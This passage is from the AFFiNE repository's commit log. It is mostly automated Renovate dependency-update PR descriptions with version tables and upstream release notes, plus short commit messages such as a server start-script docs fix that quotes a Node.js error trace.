-   [`32935e6`](https://redirect.github.com/oxc-project/oxc/commit/32935e6) linter: False positive in `jsx-a11y/label-has-associated-control` ([#&#8203;7881](https://redirect.github.com/oxc-project/oxc/issues/7881)) (dalaoshu)
-   [`14c51ff`](https://redirect.github.com/oxc-project/oxc/commit/14c51ff) semantic: Remove inherting `ScopeFlags::Modifier` from parent scope ([#&#8203;7932](https://redirect.github.com/oxc-project/oxc/issues/7932)) (Dunqing)

##### Refactor

-   [`3858221`](https://redirect.github.com/oxc-project/oxc/commit/3858221) global: Sort imports ([#&#8203;7883](https://redirect.github.com/oxc-project/oxc/issues/7883)) (overlookmotel)
-   [`b99ee37`](https://redirect.github.com/oxc-project/oxc/commit/b99ee37) linter: Move rule "no-restricted-imports" to nursery ([#&#8203;7897](https://redirect.github.com/oxc-project/oxc/issues/7897)) (Alexander S.)
-   [`ff2a68f`](https://redirect.github.com/oxc-project/oxc/commit/ff2a68f) linter/yoda: Simplify code ([#&#8203;7941](https://redirect.github.com/oxc-project/oxc/issues/7941)) (overlookmotel)

##### Styling

-   [`7fb9d47`](https://redirect.github.com/oxc-project/oxc/commit/7fb9d47) rust: `cargo +nightly fmt` ([#&#8203;7877](https://redirect.github.com/oxc-project/oxc/issues/7877)) (Boshen)

### [`v0.15.2`](https://redirect.github.com/oxc-project/oxc/releases/tag/oxlint_v0.15.2): oxlint v0.15.2

[Compare Source](https://redirect.github.com/oxc-project/oxc/compare/oxlint_v0.15.1...oxlint_v0.15.2)

#### \[0.15.2] - 2024-12-14

Fix the previous broken release caused by [https://github.com/softprops/action-gh-release/issues/555](https://redirect.github.com/softprops/action-gh-release/issues/555)

### [`v0.15.1`](https://redirect.github.com/oxc-project/oxc/releases/tag/oxlint_v0.15.1): oxlint v0.15.1

[Compare Source](https://redirect.github.com/oxc-project/oxc/compare/oxlint_v0.15.0...oxlint_v0.15.1)

#### \[0.15.1] - 2024-12-13

##### Features

-   [`38b1c2e`](https://redirect.github.com/oxc-project/oxc/commit/38b1c2e) editor: Create a command to apply all auto-fixes for the current active text editor ([#&#8203;7672](https://redirect.github.com/oxc-project/oxc/issues/7672)) (Nicholas Rayburn)

##### Bug Fixes

-   [`2b187e5`](https://redirect.github.com/oxc-project/oxc/commit/2b187e5) linter: Fix configuration casing for `typescript/no_this_alias` ([#&#8203;7836](https://redirect.github.com/oxc-project/oxc/issues/7836)) (Boshen)
-   [`06e6d38`](https://redirect.github.com/oxc-project/oxc/commit/06e6d38) linter: Fix unicorn/prefer-query-selector to use the correct replacement for getElementsByClassName ([#&#8203;7796](https://redirect.github.com/oxc-project/oxc/issues/7796)) (Nicholas Rayburn)
-   [`7a83230`](https://redirect.github.com/oxc-project/oxc/commit/7a83230) semantic: Missing reference when `export default` references a type alias binding ([#&#8203;7813](https://redirect.github.com/oxc-project/oxc/issues/7813)) (Dunqing)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS41OC4xIiwidXBkYXRlZEluVmVyIjoiMzkuODUuMCIsInRhcmdldEJyYW5jaCI6ImNhbmFyeSIsImxhYmVscyI6WyJkZXBlbmRlbmNpZXMiXX0=-->
2024-12-30 10:28:04 +00:00
Brooooooklyn
8463e4d683 ci: speedup Windows CI (#9426) 2024-12-30 10:10:59 +00:00
fundon
569e63377d fix(core): should sync name after renaming in pdf embed view (#9398)
https://github.com/user-attachments/assets/f6a3d7b8-9ae3-4d8f-833f-d7aca1e0fffa
2024-12-30 09:56:02 +00:00
fundon
580e3eb13c chore(editor): use colors from default theme instead (#9425) 2024-12-30 09:41:00 +00:00
darkskygit
47ba0a8a32 fix(server): same identify across pods (#9428) 2024-12-30 09:25:31 +00:00
Yifeng Wang
08ebfb6e70 fix(editor): undefined selected elements (#9429) 2024-12-30 17:25:07 +08:00
Saul-Mirone
b66a64bc9a refactor(editor): use spec builder (#9424) 2024-12-30 08:42:58 +00:00
Flrande
4fee0e2eb3 fix(editor): should delete collapsed siblings when delete heading (#9376) 2024-12-30 08:12:04 +00:00
doodlewind
406460a3af chore(docs): update server start script (#9423)
Currently, directly running `yarn dev` in `packages/backend/server` (following `developing-server.md`) instead of `yarn affine server dev` would raise following error:

``` sh
server git:(canary) ✗ yarn dev
[nodemon] 3.1.9
[nodemon] to restart at any time, enter `rs`
[nodemon] watching path(s): *.*
[nodemon] watching extensions: ts,json
[nodemon] starting `node ./src/index.ts`
node:internal/modules/esm/get_format:160
  throw new ERR_UNKNOWN_FILE_EXTENSION(ext, filepath);
        ^

TypeError [ERR_UNKNOWN_FILE_EXTENSION]: Unknown file extension ".ts" for /Users/ewind/code/AFFiNE/packages/backend/server/src/index.ts
    at Object.getFileProtocolModuleFormat [as file:] (node:internal/modules/esm/get_format:160:9)
    at defaultGetFormat (node:internal/modules/esm/get_format:203:36)
    at defaultLoad (node:internal/modules/esm/load:141:22)
    at async ModuleLoader.load (node:internal/modules/esm/loader:409:7)
    at async ModuleLoader.moduleProvider (node:internal/modules/esm/loader:291:45)
    at async link (node:internal/modules/esm/module_job:76:21) {
  code: 'ERR_UNKNOWN_FILE_EXTENSION'
}

Node.js v20.10.0
[nodemon] app crashed - waiting for file changes before starting...
```
2024-12-30 07:28:23 +00:00
renovate
096a925db1 chore: bump up all non-major dependencies (#9405)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence | Type | Update |
|---|---|---|---|---|---|---|---|
| [@smarttools/eslint-plugin-rxjs](https://redirect.github.com/DaveMBush/eslint-plugin-rxjs) | [`1.0.9` -> `1.0.10`](https://renovatebot.com/diffs/npm/@smarttools%2feslint-plugin-rxjs/1.0.9/1.0.10) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@smarttools%2feslint-plugin-rxjs/1.0.10?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@smarttools%2feslint-plugin-rxjs/1.0.10?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@smarttools%2feslint-plugin-rxjs/1.0.9/1.0.10?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@smarttools%2feslint-plugin-rxjs/1.0.9/1.0.10?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [@swc/core](https://swc.rs) ([source](https://redirect.github.com/swc-project/swc)) | [`1.10.3` -> `1.10.4`](https://renovatebot.com/diffs/npm/@swc%2fcore/1.10.3/1.10.4) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@swc%2fcore/1.10.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@swc%2fcore/1.10.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@swc%2fcore/1.10.3/1.10.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@swc%2fcore/1.10.3/1.10.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| @&#8203;types/dompurify | [`3.0.5` -> `3.2.0`](https://renovatebot.com/diffs/npm/@types%2fdompurify/3.0.5/3.2.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@types%2fdompurify/3.2.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@types%2fdompurify/3.2.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@types%2fdompurify/3.0.5/3.2.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@types%2fdompurify/3.0.5/3.2.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | minor |
| [Lakr233/MSDisplayLink](https://redirect.github.com/Lakr233/MSDisplayLink) | `from: "1.1.0"` -> `from: "1.1.1"` | [![age](https://developer.mend.io/api/mc/badges/age/git-tags/https:%2f%2fgithub.com%2fLakr233%2fMSDisplayLink/1.1.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/git-tags/https:%2f%2fgithub.com%2fLakr233%2fMSDisplayLink/1.1.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/git-tags/https:%2f%2fgithub.com%2fLakr233%2fMSDisplayLink/1.1.0/1.1.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/git-tags/https:%2f%2fgithub.com%2fLakr233%2fMSDisplayLink/1.1.0/1.1.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) |  | patch |
| [Lakr233/SpringInterpolation](https://redirect.github.com/Lakr233/SpringInterpolation) | `from: "1.1.0"` -> `from: "1.3.0"` | [![age](https://developer.mend.io/api/mc/badges/age/git-tags/https:%2f%2fgithub.com%2fLakr233%2fSpringInterpolation/1.3.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/git-tags/https:%2f%2fgithub.com%2fLakr233%2fSpringInterpolation/1.3.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/git-tags/https:%2f%2fgithub.com%2fLakr233%2fSpringInterpolation/1.1.0/1.3.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/git-tags/https:%2f%2fgithub.com%2fLakr233%2fSpringInterpolation/1.1.0/1.3.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |  | minor |
| [katex](https://katex.org) ([source](https://redirect.github.com/KaTeX/KaTeX)) | [`0.16.18` -> `0.16.19`](https://renovatebot.com/diffs/npm/katex/0.16.18/0.16.19) | [![age](https://developer.mend.io/api/mc/badges/age/npm/katex/0.16.19?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/katex/0.16.19?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/katex/0.16.18/0.16.19?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/katex/0.16.18/0.16.19?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [lint-staged](https://redirect.github.com/lint-staged/lint-staged) | [`15.2.11` -> `15.3.0`](https://renovatebot.com/diffs/npm/lint-staged/15.2.11/15.3.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/lint-staged/15.3.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/lint-staged/15.3.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/lint-staged/15.2.11/15.3.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/lint-staged/15.2.11/15.3.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | minor |
| [react-day-picker](https://daypicker.dev) ([source](https://redirect.github.com/gpbl/react-day-picker)) | [`9.4.4` -> `9.5.0`](https://renovatebot.com/diffs/npm/react-day-picker/9.4.4/9.5.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/react-day-picker/9.5.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/react-day-picker/9.5.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/react-day-picker/9.4.4/9.5.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/react-day-picker/9.4.4/9.5.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [react-i18next](https://redirect.github.com/i18next/react-i18next) | [`15.2.0` -> `15.3.0`](https://renovatebot.com/diffs/npm/react-i18next/15.2.0/15.3.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/react-i18next/15.3.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/react-i18next/15.3.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/react-i18next/15.2.0/15.3.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/react-i18next/15.2.0/15.3.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [swr](https://swr.vercel.app) ([source](https://redirect.github.com/vercel/swr)) | [`2.2.5` -> `2.3.0`](https://renovatebot.com/diffs/npm/swr/2.2.5/2.3.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/swr/2.3.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/swr/2.3.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/swr/2.2.5/2.3.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/swr/2.2.5/2.3.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [vite](https://vite.dev) ([source](https://redirect.github.com/vitejs/vite/tree/HEAD/packages/vite)) | [`6.0.5` -> `6.0.6`](https://renovatebot.com/diffs/npm/vite/6.0.5/6.0.6) | [![age](https://developer.mend.io/api/mc/badges/age/npm/vite/6.0.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/vite/6.0.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/vite/6.0.5/6.0.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/vite/6.0.5/6.0.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | resolutions | patch |
| [yarn](https://redirect.github.com/yarnpkg/berry) ([source](https://redirect.github.com/yarnpkg/berry/tree/HEAD/packages/yarnpkg-cli)) | [`4.5.3` -> `4.6.0`](https://renovatebot.com/diffs/npm/yarn/4.5.3/4.6.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@yarnpkg%2fcli/4.6.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@yarnpkg%2fcli/4.6.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@yarnpkg%2fcli/4.5.3/4.6.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@yarnpkg%2fcli/4.5.3/4.6.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | packageManager | minor |
| [yjs](https://docs.yjs.dev) ([source](https://redirect.github.com/yjs/yjs)) | [`13.6.18` -> `13.6.21`](https://renovatebot.com/diffs/npm/yjs/13.6.18/13.6.21) | [![age](https://developer.mend.io/api/mc/badges/age/npm/yjs/13.6.21?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/yjs/13.6.21?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/yjs/13.6.18/13.6.21?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/yjs/13.6.18/13.6.21?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |

---

### Release Notes

<details>
<summary>DaveMBush/eslint-plugin-rxjs (@&#8203;smarttools/eslint-plugin-rxjs)</summary>

### [`v1.0.10`](https://redirect.github.com/DaveMBush/eslint-plugin-rxjs/releases/tag/v1.0.10): 1.0.10 (2024-12-28)

[Compare Source](https://redirect.github.com/DaveMBush/eslint-plugin-rxjs/compare/v1.0.9...v1.0.10)

supplies type information by placing index.d.ts file next to index.cjs file

</details>

<details>
<summary>swc-project/swc (@&#8203;swc/core)</summary>

### [`v1.10.4`](https://redirect.github.com/swc-project/swc/blob/HEAD/CHANGELOG.md#1104---2024-12-30)

[Compare Source](https://redirect.github.com/swc-project/swc/compare/v1.10.3...v1.10.4)

##### Bug Fixes

-   **(deps)** Update cargo (patch) ([#&#8203;9733](https://redirect.github.com/swc-project/swc/issues/9733)) ([fb2f6e4](fb2f6e44aa))

-   Remove `Caused by: 'failed to parse'` from TS blank space ([#&#8203;9820](https://redirect.github.com/swc-project/swc/issues/9820)) ([aaeb0ab](aaeb0ab3b3))

</details>

<details>
<summary>Lakr233/MSDisplayLink (Lakr233/MSDisplayLink)</summary>

### [`v1.1.1`](https://redirect.github.com/Lakr233/MSDisplayLink/compare/1.1.0...1.1.1)

[Compare Source](https://redirect.github.com/Lakr233/MSDisplayLink/compare/1.1.0...1.1.1)

</details>

<details>
<summary>Lakr233/SpringInterpolation (Lakr233/SpringInterpolation)</summary>

### [`v1.3.0`](https://redirect.github.com/Lakr233/SpringInterpolation/compare/1.2.2...1.3.0)

[Compare Source](https://redirect.github.com/Lakr233/SpringInterpolation/compare/1.2.2...1.3.0)

### [`v1.2.2`](https://redirect.github.com/Lakr233/SpringInterpolation/compare/1.2.1...1.2.2)

[Compare Source](https://redirect.github.com/Lakr233/SpringInterpolation/compare/1.2.1...1.2.2)

### [`v1.2.1`](https://redirect.github.com/Lakr233/SpringInterpolation/compare/1.2.0...1.2.1)

[Compare Source](https://redirect.github.com/Lakr233/SpringInterpolation/compare/1.2.0...1.2.1)

### [`v1.2.0`](https://redirect.github.com/Lakr233/SpringInterpolation/compare/1.1.2...1.2.0)

[Compare Source](https://redirect.github.com/Lakr233/SpringInterpolation/compare/1.1.2...1.2.0)

### [`v1.1.2`](https://redirect.github.com/Lakr233/SpringInterpolation/compare/1.1.1...1.1.2)

[Compare Source](https://redirect.github.com/Lakr233/SpringInterpolation/compare/1.1.1...1.1.2)

### [`v1.1.1`](https://redirect.github.com/Lakr233/SpringInterpolation/compare/1.1.0...1.1.1)

[Compare Source](https://redirect.github.com/Lakr233/SpringInterpolation/compare/1.1.0...1.1.1)

</details>

<details>
<summary>KaTeX/KaTeX (katex)</summary>

### [`v0.16.19`](https://redirect.github.com/KaTeX/KaTeX/blob/HEAD/CHANGELOG.md#01619-2024-12-29)

[Compare Source](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.18...v0.16.19)

##### Bug Fixes

-   **types:** improve `strict` function type ([#&#8203;4009](https://redirect.github.com/KaTeX/KaTeX/issues/4009)) ([4228b4e](4228b4eb52))

</details>

<details>
<summary>lint-staged/lint-staged (lint-staged)</summary>

### [`v15.3.0`](https://redirect.github.com/lint-staged/lint-staged/blob/HEAD/CHANGELOG.md#1530)

[Compare Source](https://redirect.github.com/lint-staged/lint-staged/compare/v15.2.11...v15.3.0)

##### Minor Changes

-   [#&#8203;1495](https://redirect.github.com/lint-staged/lint-staged/pull/1495) [`e69da9e`](e69da9e614) Thanks [@&#8203;iiroj](https://redirect.github.com/iiroj)! - Added more info to the debug logs so that "environment" info doesn't need to be added separately to GitHub issues.

-   [#&#8203;1493](https://redirect.github.com/lint-staged/lint-staged/pull/1493) [`fa0fe98`](fa0fe98104) Thanks [@&#8203;iiroj](https://redirect.github.com/iiroj)! - Added more help messages around the automatic `git stash` that *lint-staged* creates as a backup (by default). The console output also displays the short git *hash* of the stash so that it's easier to recover lost files in case some fatal errors are encountered, or the process is killed before completing.

    For example:

        % npx lint-staged
        ✔ Backed up original state in git stash (20addf8)
        ✔ Running tasks for staged files...
        ✔ Applying modifications from tasks...
        ✔ Cleaning up temporary files...

    where the backup can be seen with `git show 20addf8`, or `git stash list`:

        % git stash list
        stash@{0}: lint-staged automatic backup (20addf8)

</details>

<details>
<summary>gpbl/react-day-picker (react-day-picker)</summary>

### [`v9.5.0`](https://redirect.github.com/gpbl/react-day-picker/compare/v9.4.4...a06052e71bf199402e15c5aee7805e2be2dd4498)

[Compare Source](https://redirect.github.com/gpbl/react-day-picker/compare/v9.4.4...v9.5.0)

</details>

<details>
<summary>i18next/react-i18next (react-i18next)</summary>

### [`v15.3.0`](https://redirect.github.com/i18next/react-i18next/blob/HEAD/CHANGELOG.md#1530)

[Compare Source](https://redirect.github.com/i18next/react-i18next/compare/v15.2.0...v15.3.0)

Uses the i18next logger instead of the default console logger, if there is a valid i18next instance. Now the debug i18next option is respected, and you can also inject your own logger module: https://www.i18next.com/misc/creating-own-plugins#logger

</details>

<details>
<summary>vercel/swr (swr)</summary>

### [`v2.3.0`](https://redirect.github.com/vercel/swr/compare/v2.2.5...v2.3.0)

[Compare Source](https://redirect.github.com/vercel/swr/compare/v2.2.5...v2.3.0)

</details>

<details>
<summary>vitejs/vite (vite)</summary>

### [`v6.0.6`](https://redirect.github.com/vitejs/vite/blob/HEAD/packages/vite/CHANGELOG.md#small606-2024-12-26-small)

[Compare Source](https://redirect.github.com/vitejs/vite/compare/v6.0.5...v6.0.6)

-   fix: replace runner-side path normalization with `fetchModule`-side resolve ([#&#8203;18361](https://redirect.github.com/vitejs/vite/issues/18361)) ([9f10261](9f10261e76)), closes [#&#8203;18361](https://redirect.github.com/vitejs/vite/issues/18361)
-   fix(css): resolve style tags in HTML files correctly for lightningcss ([#&#8203;19001](https://redirect.github.com/vitejs/vite/issues/19001)) ([afff05c](afff05c032)), closes [#&#8203;19001](https://redirect.github.com/vitejs/vite/issues/19001)
-   fix(css): show correct error when unknown placeholder is used for CSS modules pattern in lightningcs ([9290d85](9290d85b5d)), closes [#&#8203;19070](https://redirect.github.com/vitejs/vite/issues/19070)
-   fix(resolve): handle package.json with UTF-8 BOM ([#&#8203;19000](https://redirect.github.com/vitejs/vite/issues/19000)) ([902567a](902567ac53)), closes [#&#8203;19000](https://redirect.github.com/vitejs/vite/issues/19000)
-   fix(ssrTransform): preserve line offset when transforming imports ([#&#8203;19004](https://redirect.github.com/vitejs/vite/issues/19004)) ([1aa434e](1aa434e801)), closes [#&#8203;19004](https://redirect.github.com/vitejs/vite/issues/19004)
-   chore: fix typo in comment ([#&#8203;19067](https://redirect.github.com/vitejs/vite/issues/19067)) ([eb06ec3](eb06ec30bb)), closes [#&#8203;19067](https://redirect.github.com/vitejs/vite/issues/19067)
-   chore: update comment about `build.target` ([#&#8203;19047](https://redirect.github.com/vitejs/vite/issues/19047)) ([0e9e81f](0e9e81f622)), closes [#&#8203;19047](https://redirect.github.com/vitejs/vite/issues/19047)
-   revert: unpin esbuild version ([#&#8203;19043](https://redirect.github.com/vitejs/vite/issues/19043)) ([8bfe247](8bfe247511)), closes [#&#8203;19043](https://redirect.github.com/vitejs/vite/issues/19043)
-   test(ssr): test virtual module with query ([#&#8203;19044](https://redirect.github.com/vitejs/vite/issues/19044)) ([a1f4b46](a1f4b46896)), closes [#&#8203;19044](https://redirect.github.com/vitejs/vite/issues/19044)

</details>

<details>
<summary>yarnpkg/berry (yarn)</summary>

### [`v4.6.0`](2fe7d635e8...1871484db8)

[Compare Source](2fe7d635e8...1871484db8)

</details>

<details>
<summary>yjs/yjs (yjs)</summary>

### [`v13.6.21`](https://redirect.github.com/yjs/yjs/releases/tag/v13.6.21)

[Compare Source](https://redirect.github.com/yjs/yjs/compare/v13.6.20...v13.6.21)

-   fix [#&#8203;657](https://redirect.github.com/yjs/yjs/issues/657) - relative positions issue when using followUndoneDeletions=false  [`f583d2a`](https://redirect.github.com/yjs/yjs/commit/f583d2a2)
-   lint  [`1b0f2e5`](https://redirect.github.com/yjs/yjs/commit/1b0f2e54)
-   add nodejs specific tests  [`4404d09`](https://redirect.github.com/yjs/yjs/commit/4404d090)
-   Merge pull request [#&#8203;679](https://redirect.github.com/yjs/yjs/issues/679) from hoangqwe159/main  [`d4d4ae5`](https://redirect.github.com/yjs/yjs/commit/d4d4ae5f)
-   Add PSPDFKit binding to README.md  [`4ffd370`](https://redirect.github.com/yjs/yjs/commit/4ffd3709)
-   Merge pull request [#&#8203;676](https://redirect.github.com/yjs/yjs/issues/676) from himself65/patch-1  [`0419b74`](https://redirect.github.com/yjs/yjs/commit/0419b743)
-   add Open Collaboration Tools as a user  [`c951f2b`](https://redirect.github.com/yjs/yjs/commit/c951f2b7)
-   docs: remove `@toeverything/y-indexeddb`  [`4e2d3c8`](https://redirect.github.com/yjs/yjs/commit/4e2d3c8a)
-   update readme  [`8dc1296`](https://redirect.github.com/yjs/yjs/commit/8dc1296a)
-   add stars to providers that sponsor yjs  [`4329997`](https://redirect.github.com/yjs/yjs/commit/43299973)
-   Merge pull request [#&#8203;671](https://redirect.github.com/yjs/yjs/issues/671) from carlossantos74/main  [`2b7ea8a`](https://redirect.github.com/yjs/yjs/commit/2b7ea8a2)
-   add SuperViz Provider in yjs README  [`4f47355`](https://redirect.github.com/yjs/yjs/commit/4f473558)
-   \[funding.json] fix some validation issues  [`6074f80`](https://redirect.github.com/yjs/yjs/commit/6074f802)
-   fix errors in funding.json  [`42bbb44`](https://redirect.github.com/yjs/yjs/commit/42bbb44b)
-   add funding.json  [`cc2d732`](https://redirect.github.com/yjs/yjs/commit/cc2d7320)
-   add y-crdt elexir bindings  [`e804dd7`](https://redirect.github.com/yjs/yjs/commit/e804dd75)

### [`v13.6.20`](https://redirect.github.com/yjs/yjs/releases/tag/v13.6.20)

[Compare Source](https://redirect.github.com/yjs/yjs/compare/v13.6.19...v13.6.20)

-   lint  [`487465d`](https://redirect.github.com/yjs/yjs/commit/487465d7)
-   add yjs-inspector  [`345fd31`](https://redirect.github.com/yjs/yjs/commit/345fd31b)
-   add devtools  [`4ff65b5`](https://redirect.github.com/yjs/yjs/commit/4ff65b5d)
-   \[[#&#8203;667](https://redirect.github.com/yjs/yjs/issues/667)] sanity checks for Yjs caveats. In dev_mode, objects inserted into Yjs can't be manipulated.  [`8152cf8`](https://redirect.github.com/yjs/yjs/commit/8152cf81)
-   [#&#8203;667](https://redirect.github.com/yjs/yjs/issues/667) - add sanity messages when data is read before type is added to a document.  [`3bf44b9`](https://redirect.github.com/yjs/yjs/commit/3bf44b98)
-   Y.Array.length should be 0 before it is integrated - [#&#8203;666](https://redirect.github.com/yjs/yjs/issues/666)  [`8cd1a48`](https://redirect.github.com/yjs/yjs/commit/8cd1a482)
-   Merge pull request [#&#8203;665](https://redirect.github.com/yjs/yjs/issues/665) from batchor/main  [`9e9f294`](https://redirect.github.com/yjs/yjs/commit/9e9f2940)
-   add ScienHub as a user.  [`4fb7789`](https://redirect.github.com/yjs/yjs/commit/4fb7789c)
-   add ScienHub as a user.  [`c1ef9a1`](https://redirect.github.com/yjs/yjs/commit/c1ef9a12)

### [`v13.6.19`](https://redirect.github.com/yjs/yjs/releases/tag/v13.6.19)

[Compare Source](https://redirect.github.com/yjs/yjs/compare/v13.6.18...v13.6.19)

-   add `ydoc.isDestroyed` property  [`f604250`](https://redirect.github.com/yjs/yjs/commit/f604250f)
-   add eclipse theia as a user  [`7422b18`](https://redirect.github.com/yjs/yjs/commit/7422b18e)
-   add secsync  [`95e2bc4`](https://redirect.github.com/yjs/yjs/commit/95e2bc44)
-   add kanbert as a user  [`f2ff8b9`](https://redirect.github.com/yjs/yjs/commit/f2ff8b95)
-   Merge pull request [#&#8203;664](https://redirect.github.com/yjs/yjs/issues/664) from jul13579/add-qdacity-to-readme  [`3f9bfe4`](https://redirect.github.com/yjs/yjs/commit/3f9bfe42)
-   Add QDAcity to `README.md`  [`5b4d2a6`](https://redirect.github.com/yjs/yjs/commit/5b4d2a6b)
-   fix new lint issues  [`44e5108`](https://redirect.github.com/yjs/yjs/commit/44e51080)
-   update markdownlint  [`dd17228`](https://redirect.github.com/yjs/yjs/commit/dd17228a)
-   lint readme  [`eeb4c99`](https://redirect.github.com/yjs/yjs/commit/eeb4c996)
-   Merge pull request [#&#8203;660](https://redirect.github.com/yjs/yjs/issues/660) from mtreinik/main  [`56d5e32`](https://redirect.github.com/yjs/yjs/commit/56d5e328)
-   Remove erroneous ymap.get(index:number) from API docs  [`294c6a1`](https://redirect.github.com/yjs/yjs/commit/294c6a15)
-   Add Y.Array.from() and yarray.clone() to API docs  [`c944a45`](https://redirect.github.com/yjs/yjs/commit/c944a455)
-   update users  [`f29cd2b`](https://redirect.github.com/yjs/yjs/commit/f29cd2ba)
-   Merge pull request [#&#8203;651](https://redirect.github.com/yjs/yjs/issues/651) from nikgraf/patch-2  [`384ec4d`](https://redirect.github.com/yjs/yjs/commit/384ec4db)
-   add react-yjs to bindings  [`5e19c35`](https://redirect.github.com/yjs/yjs/commit/5e19c354)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

